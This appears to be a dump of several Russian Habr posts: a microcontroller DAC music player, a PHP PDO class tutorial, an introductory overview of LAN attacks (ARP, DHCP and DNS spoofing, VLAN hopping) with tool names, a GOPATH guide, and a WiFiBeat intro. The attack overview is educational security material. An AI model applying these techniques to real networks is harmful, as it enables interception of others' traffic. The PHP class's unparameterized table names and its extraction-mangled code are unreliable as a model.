14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 10, 9, 8, 7, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 6, 7, 8, 9, 11, 10, 11, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 11, 10, 9, 7, 6, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 8, 9, 10, 10, 11, 13, 14, 15, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 7, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 7, 8, 10, 10, 12, 13, 14, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 6, 5, 4, 2, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 6, 7, 9, 10, 10, 12, 13, 15, 16, 17, 18, 19, 20, 20, 20, 20, 19, 19, 18, 16, 15, 14, 12, 10, 9, 7, 6, 4, 3, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 5, 6, 8, 9, 11, 10, 12, 13, 15, 16, 18, 19, 19, 20, 20, 20, 19, 19, 18, 17, 15, 14, 12, 10, 9, 7, 5, 4, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 5, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 20, 19, 18, 17, 15, 14, 12, 10, 8, 7, 5, 4, 2, 1, 1, 0, 0, 0, 1, 2, 3, 4, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 19, 18, 17, 16, 14, 12, 10, 8, 7, 5, 3, 2, 1, 0, 0, 0, 1, 1, 2, 4, 6, 7, 9, 10, 12, 14, 16, 17, 19, 19, 20, 20, 20, 19, 18, 16, 15, 13, 11, 9, 7, 5, 3, 2, 1, 0, 0, 0, 1, 2, 3, 5, 7, 9, 11, 10, 12, 14, 16, 18, 19, 20, 20, 20, 19, 18, 17, 15, 13, 11, 9, 7, 5, 3, 2, 1, 0, 0, 0, 1, 3, 4, 6, 8, 10, 10, 12, 14, 16, 18, 19, 20, 20, 20, 19, 17, 16, 14, 11, 9, 7, 5, 3, 2, 1, 0, 0, 1, 2, 3, 5, 7, 9, 10, 12, 15, 17, 18, 19, 20, 20, 19, 18, 16, 14, 12, 10, 7, 5, 3, 2, 0, 0, 0, 1, 2, 4, 6, 8, 11, 10, 13, 15, 17, 19, 20, 20, 20, 19, 17, 15, 13, 10, 8, 5, 3, 2, 0, 0, 0, 1, 3, 4, 7, 9, 10, 13, 15, 17, 19, 20, 20, 19, 18, 16, 14, 11, 9, 6, 4, 2, 1, 0, 0, 1, 3, 5, 8, 10, 10, 13, 15, 18, 19, 20, 20, 19, 17, 15, 12, 9, 7, 4, 2, 1, 0, 0, 1, 3, 5, 8, 11, 10, 13, 16, 18, 19, 20, 20, 18, 16, 14, 11, 8, 5, 2, 1, 0, 0, 1, 3, 6, 9, 10, 13, 16, 18, 20, 20, 19, 18, 15, 12, 9, 6, 3, 1, 0, 0, 1, 3, 6, 9, 10, 13, 16, 19, 20, 20, 19, 17, 14, 10, 7, 4, 2, 0, 0, 1, 3, 6, 9, 10, 14, 17, 19, 20, 20, 18, 15, 12, 8, 5, 2, 1, 0, 1, 3, 6, 9, 10, 14, 17, 19, 20, 19, 17, 14, 10, 7, 3, 1, 0, 1, 2, 6, 9, 10, 14, 17, 19, 20, 19, 16, 13, 9, 5, 2, 0, 0, 2, 5, 9, 10, 14, 18, 20, 20, 18, 15, 11, 7, 3, 1, 0, 1, 4, 8, 10, 14, 18, 20, 20, 17, 14, 9, 5, 2, 0, 1, 3, 7, 12, 10, 15, 18, 20, 19, 16, 12, 7, 3, 0, 0, 2, 6, 11, 10, 15, 19, 20, 19, 15, 10, 5, 2, 0, 1, 4, 9, 10, 15, 19, 20, 18, 14, 9, 4, 1, 0, 3, 8, 10, 15, 19, 20, 17, 12, 7, 2, 0, 1, 5, 11, 10, 16, 19, 20, 16, 11, 5, 1, 0, 3, 9, 10, 16, 20, 19, 15, 9, 3, 0, 1, 6, 12, 10, 16, 20, 19, 14, 7, 2, 0, 3, 9, 10, 17, 20, 18, 12, 5, 1, 1, 6, 13, 10, 17, 20, 17, 10, 3, 0, 2, 9, 10, 17, 20, 16, 9, 2, 0, 5, 13, 10, 18, 20, 15, 7, 1, 1, 8, 10, 18, 20, 14, 5, 0, 3, 12, 10, 18, 19, 12, 3, 0, 6, 10, 19, 19, 10, 2, 1, 9, 10, 19, 18, 9, 1, 3, 13, 10, 19, 17, 7, 0, 5, 10, 19, 16, 5, 0, 9, 10, 20, 15, 3, 1, 12, 10, 20, 14, 2, 3, 16, 10, 20, 12, 1, 6, 10, 20, 10, 0, 9, 10, 20, 9, 0, 13, 10, 20, 7, 1, 16, 10, 20, 5, 3, 10, 19, 3, 6, 10, 19, 2, 9, 10, 18, 1, 13, 10, 17, 0, 16, 10, 16, 0, 19, 10, 15, 1, 10, 14, 3, 10, 12, 6, 10, 10, 9, 10, 9, 13, 10, 7, 16, 10, 5, 19, 10, 3, 20, 10, 2, 19, 10, 1, 10, 0, 10, 0, 10, 1, 10, 3, 10, 6, 10, 9, 0};
int main (void)
{
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
HSE_PLL(10); //8Мгц -> 80Мгц.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2_for_BUFFER(); //Настраиваем таймер на выдачу нашей синусоиды.
uint16_t DL0=0, DL1=0, DL2=0, DL3=0; //Длительность игры нот каждого канала в шестнадцатых.
uint16_t Loop_N0=0, Loop_N1=0, Loop_N2=0, Loop_N3=0; //Номер по счету ноты (1-я, вторая...).
uint8_t Chenel0_P, Chenel1_P, Chenel2_P, Chenel3_P; //Номер ноты, которую предстоит играть (или номер паузы).
uint8_t Flag0, Flag1, Flag2, Flag3; //Флаги окончания игры.
while (1)
{
Flag0=1; Flag1=1; Flag2=1; Flag3=1; //Разрешаем играть.
Loop_N0=0; Loop_N1=0; Loop_N2=0; Loop_N3=0; //С начала.
DL0=0, DL1=0, DL2=0, DL3=0;
while (Flag0|Flag1|Flag2|Flag3) //Играем, пока 4 партии не закончились.
{
if (DL0 == 0) //Если время игры ноты из 1-го массива исчерпана.
{
if (Loop_N0
```
**Код низкоуровневой функции воспроизведения.**
```
uint16_t BufferIndex = 0; //Указатель на первый пустой элемент массива.
uint16_t LoopSin0, LoopSin1, LoopSin2, LoopSin3; //Указатель на передаваемую ячейку значения периода волны.
uint8_t WavTon_BF0, WavTon_BF1, WavTon_BF2, WavTon_BF3; //Для "красивой" синусоиды. Чтобы в случае, если несколько шестнадцатых подряд идет одна и та же нота - ее синусоида не "рвалась", а продолжала.
void NoteBUF (uint8_t NambeN0, uint8_t NambeN1, uint8_t NambeN2, uint8_t NambeN3)
{
//Частота выдачи 32000 Гц. 32000 передач в секунде.
//Скорость воспроизведения 120 ударов в минуту. В минуте 60 секунд.
//=> у нас 600/60 ударов в секунду.
//У нас 1 такт - 4/4 (четыре четверти). В такте 4 удара.
//=>1 такт = 4 секунды.
//Мы играем 128-тыми. 32000 в секунду * 4 / 128 доли
// = 1000 передачь за одну шестнадцатую.
if (WavTon_BF0!=NambeN0) {WavTon_BF0=NambeN0; LoopSin0=0;}; //Если передаем новую волну - то с начала периода.
if (WavTon_BF1!=NambeN1) {WavTon_BF1=NambeN1; LoopSin1=0;};
if (WavTon_BF2!=NambeN2) {WavTon_BF2=NambeN2; LoopSin2=0;};
if (WavTon_BF3!=NambeN3) {WavTon_BF3=NambeN3; LoopSin3=0;};
for (uint16_t Del16 = 0; Del16<1000; Del16++) //Передаем 64-ю.
{
while (LoopBUFData == 0) {}; //Ждем, пока предыдущая часть массива передастся.
BufferData[BufferIndex]=SinMES[LoopSin0+MesSM[NambeN0]]+SinMES[LoopSin1+MesSM[NambeN1]]+SinMES[LoopSin2+MesSM[NambeN2]]+SinMES[LoopSin3+MesSM[NambeN3]]; //Заполняем буффер.
LoopSin0++; LoopSin1++; LoopSin2++; LoopSin3++; //Приготовиться к показу следующего элемента.
if (LoopSin0==MesKOL[NambeN0]) LoopSin0=0; //Если прошел весь период 1-й волны - начать с начала.
if (LoopSin1==MesKOL[NambeN1]) LoopSin1=0; //Тоже самое со второй.
if (LoopSin2==MesKOL[NambeN2]) LoopSin2=0;
if (LoopSin3==MesKOL[NambeN3]) LoopSin3=0;
BufferIndex++; if (BufferIndex == (1024*2)) BufferIndex = 0; //Если счетчик буфера вышел за пределы - записывать с начала.
LoopBUFData--; //Указываем, что мы передали один элемент.
}
}
```
Проект и все прилагающиеся дополнительные программы, а так же звуковой файл доступны на [github](https://github.com/Vadimatorik/k1986be92qi_music_card_4_ch). Финальная версия [здесь на github](https://github.com/Vadimatorik/k1986be92qi_music_card_final).
Звук получился не плохим (Кроме ноты до#. Она играет, к примеру, второй. И мне режет слух...). Далее можно было бы с опорой на [эту](http://habrahabr.ru/post/126835/) статью доделать генератор массива звуковых волн, чтобы получить помесь синусоидального+пилообразного сигнала (к примеру). Это бы улучшило качество и увеличило сочность звука. Дописать проблем не составит.
**Список предыдущих статей.*** 1. [Переходим с STM32F103 на К1986ВЕ92QI. Или первое знакомство с российским микроконтроллером.](http://habrahabr.ru/post/255199/#first_unread)
* 2. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка проекта в keil и мигание светодиодом.](http://habrahabr.ru/post/255323/)
* 3. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Системный таймер (SysTick).](http://habrahabr.ru/post/255415/)
* 4. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка тактовой частоты.](http://habrahabr.ru/post/255479/)
* 5. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть первая: генерируем прямоугольный и синусоидальный сигнал. Освоение ЦАП (DAC).](http://habrahabr.ru/post/255513/)
* 6. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть вторая: генерируем синусоидальный сигнал. Освоение DMA.](http://habrahabr.ru/post/256091/)
* 7. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть третья: генерируем синусоидальный сигнал. Простой взгляд на DMA + первое знакомство с таймерами.](http://habrahabr.ru/post/256577/) | https://habr.com/ru/post/256621/ | null | ru | null |
# Небольшой класс для работы с БД ( PDO )
Привет, Хабр! Очень много статей написано о PDO, но при этом очень мало реальных примеров. В этой статье я хочу представить свою версию класса для работы с базой данных (далее - БД). Эта статья будет полезна начинающим программистам, которые только осваивают эту технологию.
> ***Внимание!*** *Моё мнение может отличаться от вашего, поэтому хочу сразу сказать, что эта статья не есть истина в последней инстанции и реализация этого класса зависит от программиста и его предпочтений.*
>
>
Вступление
----------
Начнём с класса DB.
```
php
// use PDO - нужно только в том случае, если вы
// Используете namespace выше. Далее по коду он будет
// Но если он вам не нужен - спокойно удаляйте
use PDO;
class DB
{
public function __construct()
{
}
}
?
```
Тут, я думаю, всё понятно, эти вещи можно не объяснять.
Далее большая часть пояснений будет содержаться в коде.
```
php
use PDO;
class DB
{
// Переменная, хранящая объект PDO
private $db;
public function __construct()
{
// Файл dbinfo.php возвращает массив для
// Подключения к БД
$dbinfo = require 'path/to/dbinfo.php';
// Подключение
$this-db = new PDO('mysql:host=' . $dbinfo['host'] . ';dbname=' . $dbinfo['dbname'], $dbinfo['login'], $dbinfo['password']);
}
}
?>
```
Прекрасно, мы подключились к БД. Теперь нам нужно создать метод, который позволит совершать SQL запросы.
```
php
use PDO;
class DB
{
// Объект класса PDO
private $db;
// Соединение с БД
public function __construct()
{
$dbinfo = require 'path/to/dbinfo.php';
$this-db = new PDO('mysql:host=' . $dbinfo['host'] . ';dbname=' . $dbinfo['dbname'], $dbinfo['login'], $dbinfo['password']);
}
// Операции над БД
public function query($sql, $params = [])
{
}
}
?>
```
Реализация метода query
-----------------------
Мы готовы к реализации этого метода, но у нас возникает вопрос:
> ***"Что за параметры он принимает и как он должен их использовать?"***
>
>
Ответ на первый вопрос очевиден:
* `$sql` - переменная с текстом **SQL** запроса.
* `$params` - переменная с какими-то параметрами для запроса.
**А что со вторым вопросом?**
Всё так же просто, что бы ответить на этот вопрос, мы должны узнать, в каком виде нам подают эти параметры. А получаем мы их вот такими:
```
php
$sql = "SELECT * FROM `table` WHERE id = :id";
$params = [
'id' = 5
];
?>
```
У незнающего человека возникает вопрос: "**Что за двоеточие?**" Я тут же отвечаю - такие запросы называются **подготовленными** и используются, дабы исключить возможность ***SQL инъекции***.
Вернёмся к предыдущему вопросу и ответим на него:
Мы должны обойти массив `$params` и подставить значение в запрос.
Но сначала, мы должны подготовить запрос для подстановки этих значений. В итоге код будет выглядеть так:
```
php
use PDO;
class DB
{
// Объект класса PDO
private $db;
// Соединение с БД
public function __construct()
{
$dbinfo = require 'path/to/dbinfo.php';
$this-db = new PDO('mysql:host=' . $dbinfo['host'] . ';dbname=' . $dbinfo['dbname'], $dbinfo['login'], $dbinfo['password']);
}
// Операции над БД
public function query($sql, $params = [])
{
// Подготовка запроса
$stmt = $this->db->prepare($sql);
// Обход массива с параметрами
// и подставление значений
if ( !empty($params) ) {
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value);
}
}
// Выполняем запрос
$stmt->execute();
// Возвращаем ответ
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}
?>
```
> ***Некоторые комментарии немного искажают истину, но при этом кардинально ничего не меняют***
>
>
Мы имеем уже довольно мощный инструмент, использующий подготовленные запросы и требующий от разработчиков знание SQL, а не тонкостей класса. Но при этом, я бы зашил в этот класс типовые запросы, такие как:
* `getAll()` - двумерный массив, индексированный числами по порядку
* `getRow()` - одномерный массив, первую строку результата
Моя реализация
--------------
Эти методы могут быть реализованы по разному, но я представлю свою реализацию.
```
php
use PDO;
class DB
{
// Объект класса PDO
private $db;
// Соединение с БД
public function __construct()
{
$dbinfo = require 'path/to/dbinfo.php';
$this-db = new PDO('mysql:host=' . $dbinfo['host'] . ';dbname=' . $dbinfo['dbname'], $dbinfo['login'], $dbinfo['password']);
}
// Операции над БД
public function query($sql, $params = [])
{
// Подготовка запроса
$stmt = $this->db->prepare($sql);
// Обход массива с параметрами
// и подставляем значения
if ( !empty($params) ) {
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value);
}
}
// Выполняя запрос
$stmt->execute();
// Возвращаем ответ
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
public function getAll($table, $sql = '', $params = [])
{
return $this->query("SELECT * FROM $table" . $sql, $params);
}
public function getRow($table, $sql = '', $params = [])
{
$result = $this->query("SELECT * FROM $table" . $sql, $params);
return $result[0];
}
}
?>
```
Здесь эти методы реализованы, возможно не лучшим образом, но реализованы.
Так же сюда можно добавить ещё функции, упрощающие жизнь, но лично мне этого с головой хватает.
Можно добавить следующие методы:
* `getOne()` - возвращает первый элемент первой строки результата
* `getCol()` - возвращает 1 колонку таблицы
* ***и т.д.***
Применение
----------
Мы написали наш класс. Теперь нам нужно протестировать его в реальном "бою".
Давайте попробуем. Для начала нам нужно создать любую таблицу в БД, допустим это будет таблица ***posts***. Добавим туда пару записей и попробуем вывести их с помощью нашего класса.
> Далее я не буду приводить код класса `DB`. Подразумевается, что этот класс либо написан выше, либо подключается к этому скрипту.
>
>
Так как ранее я не показал файл ***dbinfo.php*** - сейчас я приведу код этого конфигурационного файла.
```
php
// Не забудьте поменять данные
return [
'host' = '127.0.0.1',
'dbname' => 'test',
'login' => 'root',
'password' => ''
];
?>
```
Это понятно и не требует объяснения, идём дальше. Теперь, давайте попросим **БД** `test` вернуть нам значение всех постов при помощи нашего класса.
```
php
// class DB {...}
// Создаём объект
$db = new DB;
// Получаем и выводим данные
echo "<pre";
print_r($db->getAll('posts'));
?>
```
На выходе мы имеем следующее:
данные из БДОтлично, а теперь давайте выведем только первый пост.
```
php
// class DB {...}
// Создаём объект
$db = new DB;
// Получаем и выводим данные
echo "<pre";
print_r($db->getRow('posts'));
?>
```
данные из БДПрекрасно. Ну и в конце добавим запись и выведем данные до и после.
```
php
// class DB {...}
// Создаём объект
$db = new DB;
// Получаем и выводим данные
echo "<h1До
```
";
print_r($db->getAll('posts'));
echo "
```
После
=====
```
";
$params = [
'title' => 'Заголовок через PHP',
'author' => 'Автор через PHP'
];
$db->query('INSERT INTO `posts` ( title, author ) VALUES ( :title, :author )', $params);
print_r($db->getAll('posts'));
?>
```
```
Результат:
данные из БДМы получили то, что хотели и убедились в том, что этот класс рабочий.
В заключении
------------
В конце статьи я хочу повториться и сказать, что ***моя реализация не идеальна***, но всё таки данный класс работает и выполняет свою главную функцию - работает с базой данных. Надеюсь для вас эта статья была полезной
Ссылка на ***github***: [class DB](https://github.com/LARINSASHA/Helpers/blob/main/DB.php) | https://habr.com/ru/post/535512/ | null | ru | null |
# Атаки на сеть. Часть 1
Цикл статей будет посвящен возможным атакам на современные сети. В первой части познакомимся теоретически с атаками и соберем необходимый инструментарий, в последующих попробуем воспроизвести атаки на базе виртуальной сети. Материал не претендует на полноту и создан для того, чтобы начать изучение проблем безопасности систем, где используются технологии для передачи данных. В статьях в большей степени будет уделяться внимание сетям на базе TCP/IP стека, которые могут использоваться для работы внутри небольшой организации.
#### Теоретические основы
Для изучения, какие вообще атаки существуют для современных и не очень сетей, необходимо придерживаться хотя бы минимальной их классификации, чтобы можно было разобраться, в том как они работают и на какие части сети могут повлиять.
Наиболее популярной классификацией атак на сеть является сопоставление атак уровням теоретической модели OSI. То есть все атаки рассматриваются в контексте того, для чего предназначен каждый из уровней.
В статье мы изменим принцип, который используется для классификации. За основу классификации возьмем этапы тестирования на проникновение, которые обычно производятся для определения наиболее вероятных сценариев атаки злоумышленника на сеть организации. Чаще всего тестирование на проникновение производится в 2 простых этапа. Первый — сбор максимально доступной информации о системе и второй — непосредственно атака. Если говорить при этом о сетевом взаимодействии, то здесь атакой можно считать и стандартный функционал, который может использоваться не по назначению.
Классификация выглядит следующим образом:
* поиск хостов, имеющих доступ во внешнюю сеть;
* поиск хостов, не имеющих доступ во внешнюю сеть;
* сканирование хостов;
* сниффинг (прослушивание трафика);
* атаки на локальную сеть;
* подмена трафика частично или отдельных пакетов данных.
#### Поиск хостов, имеющих доступ во внешнюю сеть
Хоть и на деле сложно назвать действия, которые предпринимаются в этой группе, атаками, но тем не менее без применения этой группы вряд ли может быть успешна хоть какое-то поползновение на безопасность сети.
Набор атак этой группы можно назвать специфичным типом сканирования сети. Они позволяют идентифицировать, какие именно хосты доступны извне, то есть определить, есть ли с ними связь. Обычно эта группа реализуется за счет наблюдения за стандартными механизмами протоколов, которые и должны работать на доступных хостах.
Можно отметить, что построение схемы сбора данных о сети в большинстве случаев опирается на так называемые RFC. К примеру, [RFC 1122](https://datatracker.ietf.org/doc/html/rfc1122) напрямую дает рекомендации о том, какие существуют коды для диагностики состояния хоста, участвующего во взаимодействии с сетью интернет. Таким образом, хотя бы отчасти эти требования можно применить к хостам, которые будут видны извне организации.
Пример использования стандартного функционала:
Для поиска `живых` хостов можно пользоваться протоколом ICMP. Этот протокол был создан для того, чтобы собирать данные о неполадках в сети. Осуществить сбор данных можно, основываясь на ответах от хостов. Вообще протокол поддерживает около 15 специальных кодов, определяющих, какие проблемы появились в сети и сообщить о них всем участникам или тем, кто столкнулся с проблемой передачи данных. Для операции сбора данных о доступности хоста может быть задействован по меньшей мере 1 код, который называется echo запрос. Если внимательно изучить RFC 1122, то можно заметить, что некоторые хосты еще так же могут использовать следующие коды ICMP — 13, 15, 17. На основании хотя бы факта ответа от исследуемого хоста уже можно судить о его доступности.
Примерно по тому же принципу возможно проводить поиск хостов, если использовать наиболее популярные для сетевого взаимодействия протоколы: TCP, UDP, SCTP, HTTP. В этих случаях могут использоваться обычные алгоритмы настройки взаимодействия, которые и предполагаются протоколом в документации. И так же, как и с ICMP, здесь любые ответы от целевых хостов будут интерпретироваться как наличие доступности хоста в принципе.
Все исследования можно проводить с помощью 2 инструментов и их аналогов:
* [masscan](https://github.com/robertdavidgraham/masscan) — только TCP;
* [nmap](https://nmap.org/) — универсален, но может быть недостаточно быстрым.
#### Поиск хостов, не имеющих доступ во внешнюю сеть
Отчасти этот этап может включать предыдущий пункт, но помимо него данный шаг можно распространить, в зависимости от принципов построения сети, на дополнительные протоколы и методы получения данных. Пункт можно разделить на 2 части. Первая — это пассивный сбор данных при наличии возможности прослушивать трафик: некоторые протоколы прикладного уровня могут раскрывать подробности о том, что передается и кем.
Вторая часть включает методы воздействия на сеть. Осуществляются они посредством использования протоколов:
* ARP — механизм запроса данных об IP адресах и MAC адресах хостов;
* NetBIOS — механизм, который называется Browser. В нем передается информация о названии операционной системы и ее версии;
* IPv6 — отправка мультикастовых запросов для получения данных о доступных хостах.
Все виды атак могут быть произведены инструментами:
* nmap
* bettercap
* responder
#### Cниффинг (прослушивание трафика)
Атака, которая может быть успешна в случае, либо если неверно настроено сетевое оборудование, либо из-за особенности топологии сети. Применяется для изучения данных в трафике, а также для получения данных, которые могут быть использованы для повышения уровня доступа в сети или на отдельных системах, которые участвуют в сетевом взаимодействии. В большинстве случаев сбор данных можно производить из операционных систем хостов, хотя и с сетевых устройств те же самые действия так же возможны.
Подобные атаки могут быть осуществлены с помощью:
* wireshark
* tcpdump
* bettercap
#### Атаки на локальную сеть
Атаки, которые в большинстве случаев меняют топологию сети и заполняют сеть большим количество однотипных пакетов. Делается это для того, чтобы не происходило восстановления изначального состояния маршрутов сети.
ARPSpoofing — базовый блок для всех атак, которые подразумевают изменение трафика в сети. Подразумевает отправку большого количества пакетов с данными, позволяющими злоумышленнику притворяться любым хостом в сети. Наиболее выгодные хосты в этом случае — gateway или хост, где располагаются целевые для атаки сервисы.
Dynamic Trunking. Так как чуть ли не единственным эффективным средством для борьбы с изменением топологии сети может являться использования стандарта 802.1Q VLAN, то естественно при его обнаружении нужно проверить возможность атак на его неверную конфигурацию. Этот вид атаки подразумевает, что при доступе хотя бы к одному VLAN можно перевести соединение в состояние, при котором будут видны все данные из других VLAN.
VLAN Hopper — атака, которая позволяет искать хосты в соседних VLAN и отправлять сообщения.
Double Tagging — атака, которая возможна, если атакующий знает номер VLAN, ip адрес системы жертвы. Атакующий в этом случае может запаковать сообщение для отправки в целевую систему. Недостатком атаки можно считать отсутствие обратной связи, так как целевая система не сможет отправлять ответы.
Основные инструменты для атак:
* bettercap
* yersinia — хоть и старый инструмент, но только в нем есть поддержка проприетарных для устройств Cisco протоколов.
* [frogger](https://github.com/nccgroup/vlan-hopping---frogger)
* [scapy](https://scapy.net/)
* nmap
* [responder](https://github.com/lgandx/Responder) — полезен для сред с операционной системой Windows.
#### Подмена трафика частично или отдельных пакетов данных
Атаки этой группы подразумевают полный или частичный контроль над передаваемой информацией. Причем в некоторых случаях данные будут проходить через хост атакующего, а в некоторых — только первые пакеты.
Подмена DHCP сервера — применяется для того, чтобы контролировать выдачу адресов для участников в сети. Может быть использовано для кражи данных из приложений.
Подмена DNS сервера. Большое количество приложений, которые работают с сетью без должных проверок, могут излишне доверять серверу, который используется для реализации работы приложения. Может быть использовано для компрометации данных, которые отправляются на сервер, при проведении одновременной атаки на изменение стандартного маршрута внутри сети.
Подмена gateway — за счет механизмов динамической настройки маршрутов сети можно прослушивать всю информацию, которая пролетает через сеть.
Подмена сервисов ОС — использование несовершенства протоколов операционных систем и сетевых устройств. Наиболее популярна при воздействии на сеть, участниками которой являются машины под управлением ОС Windows.
Инструменты для проведения атак:
* bettercap
* nmap
* responder
В следующей части попробуем воспроизвести данные атаки и попробуем от них защититься с помощью доступных сетевых механизмов ОС и устройств. А уже завтра приглашаю всех на бесплатный вебинар, который проведет наш эксперт — Сергей Хохлов. В рамках вебинара создадим и настроим сеть с несколькими маршрутизаторами, затем настроим IPSec VPN типа Site-To-Site. Туннель IPsec VPN проходит от маршрутизатора R1 к маршрутизатору R2 через Linux машину ISP. Linux машина играет роль транзитного узла и не имеет информации о VPN. IPSec будет обеспечивать безопасную передачу информации по незащищенным сетям ISP.
[Зарегистрироваться на вебинар](https://otus.pw/PdN0/). | https://habr.com/ru/post/659181/ | null | ru | null |
# Всё, что вы хотели знать про GOPATH и GOROOT
Несмотря на то, что Go считается одним из самых легких для входа языков, приходится регулярно слышать: «как-то все непонятно, какие-то переменные GOROOT и GOPATH нужно устанавливать». И хотя тема полностью раскрыта на официальном сайте Go, не будет лишним объяснить совсем простым языком.
TL;DR

Теперь чуть подробнее:
#### GOROOT
**GOROOT** — это переменная, указывающая, где лежит, собственно, вся бинарная сборка Go и исходные коды. Что-то вроде JAVA\_HOME. Устанавливать эту переменную ручками нужно только в тех случаях, если вы ставите Go под Windows не с помощью MSI-инсталлера, а из zip-архива. Ну, или если вы хотите держать несколько версий Go, каждая в своей директории.
Раньше (до Go 1.0) эта переменная была нужна — её использовали скрипты сборки, равно как и GOARCH и GOOS. Но после Go 1.0 немного изменилась внутренняя логика работы go tool и сейчас значение GOROOT хардкодится на этапе сборки или инсталляции. Тоесть, go — дефолтно проинсталлированный — знает это значение и так. Его можно посмотреть с помощью команды:
```
go env GOROOT
```
В MacOS X это /usr/local/go/, в Linux тоже (хотя может зависеть от дистрибутива), в Windows — С:\Go.
#### GOPATH
А вот переменная **GOPATH** очень важна и нужна и её нужно установить обязательно, впрочем только один раз. Это ваш workspace, где будет лежать код и бинарные файлы всего с чем вы будете в Go работать. Поэтому выбирайте удобный вам путь и сохраняйте его в GOPATH. К примеру:
```
export GOPATH=~/go
export GOPATH=~/gocode
export GOPATH=~/Devel/go
export GOPATH=~/Projects/go
```
Ну и обязательно это сохраните в .profile или как вы там сохраняете переменные:
```
echo "export GOPATH=~/go" >> ~/.profile (или .bash_profile)
```
Всё, сделайте это один раз и забудьте. Создайте только эту директорию, если её еще и нет, и на этом готово. Теперь любой вызов *go get github.com/someuser/somelib* автоматически будет скачивать исходники в $GOPATH/src, а бинарный результат компиляции складывать в $GOPATH/pkg или $GOPATH/bin (для библиотек и исполняемых файлов соответственно).
#### PATH
Это опционально, но желательно сразу тоже сделать, раз уж вы взялись за настройку среды. Рано или поздно вы захотите пользоваться какими-то Go-программами, которые будут лежать в вашей GOPATH/bin. Чтобы их без лишних телодвижений использовать, добавьте к PATH директорию $GOPATH/bin:
```
export PATH=$PATH:$GOPATH/bin
```
Команда *go install* собирает и инсталлирует бинарник именно в эту директорию, поэтому это исключительно для удобства.
#### Структура Workspace
Теперь давайте посмотрим внимательно на структуру директории GOPATH. Возьму пример из официальной документации:
```
bin/
hello # программа hello
pkg/
linux_amd64/ # каталог этого уровня определяет ось и архитектуру для бинарных файлов
github.com/user/
stringutil.a # объектный бинарный файл пакета stringutil
src/
github.com/user/
hello/
hello.go # исходный код программы hello
stringutil/
reverse.go # исходный код библиотеки stringutil
```
Достаточно просто, не так ли? Важно понимать, что никто не обязывает называть директории в src/ по какому-то формату. Можно использовать и src/test/my\_first\_app/main.go и src/anyname/main.go — но если вы работаете с системами контроля версий (а вы таки работаете)), то вам это бесспорно станет удобно — утилиты go get/install используют это соглашения наименования, чтобы сделать работу с системами контроля версий безбожно простой.
#### Дополнительно
Переменная GOPATH аналогична стандартной PATH — можно указывать несколько директорий, через ':'. GOPATH=~/go:~/other\_workspace. Это в очень редких случаях бывает полезно (например, для работы с внешними менеджерами зависимостей вроде gpm), но в 99% это не нужно, и просто так рекомендуется использовать только одну директорию в GOPATH.
В конце-концов, если вам нужны раздельные workspace-ы, всегда можно заменить переменную GOPATH на нужную (в скрипте сборки, к примеру). Так, собственно, и делают.
#### Ссылки
[golang.org/doc/install](http://golang.org/doc/install)
[golang.org/doc/code.html](https://golang.org/doc/code.html)
[dave.cheney.net/2013/06/14/you-dont-need-to-set-goroot-really](http://dave.cheney.net/2013/06/14/you-dont-need-to-set-goroot-really) | https://habr.com/ru/post/249545/ | null | ru | null |
# WiFiBeat: Обнаруживаем подозрительный трафик в беспроводной сети

В данной статье мы поговорим о WiFiBeat, агенте, который может отправлять 802.11 фреймы в Elasticsearch, где мы можем их анализировать, строить графики и обнаруживать атаки. Вся эта система строится полностью на бесплатном ПО.
Введение
--------
→ [Официальный сайт утилиты](https://www.wlanpros.com/resources/wifi-beat/)
→ [GitHub](https://github.com/WiFiBeat/WiFiBeat)
WiFiBeat позволяет работать с Wi-Fi адаптером в режиме монитора, создавать из фреймов JSON объекты и отправлять в базу данных аналитического движка [Elasticsearch](https://www.elastic.co/products/elasticsearch). Кроме этого, WiFiBeat может читать фреймы из PCAP файла.
Анализ собранной информации происходит в другом бесплатном продукте от Elastic — визуализаторе [Kibana](https://www.elastic.co/products/kibana).

WiFiBeat официально стабильно работает на Ubuntu 16.04, но, конечно, его можно запустить и на других дистрибутивах, однако могут возникнуть трудности с зависимостями и несоответствием версий библиотек, под которые писалась утилита. Мы будем использовать 64-битную Ubuntu 16.04, к которой подключен USB Wi-Fi адаптер [TP-LINK TL-WN722N](http://www.tp-linkru.com/products/details/cat-11_TL-WN722N.html) в режиме монитора, для запуска WiFiBeat.
Elasticsearch и Kibana будут развернуты на 64-битной Debian 9.
Установка WiFiBeat
------------------
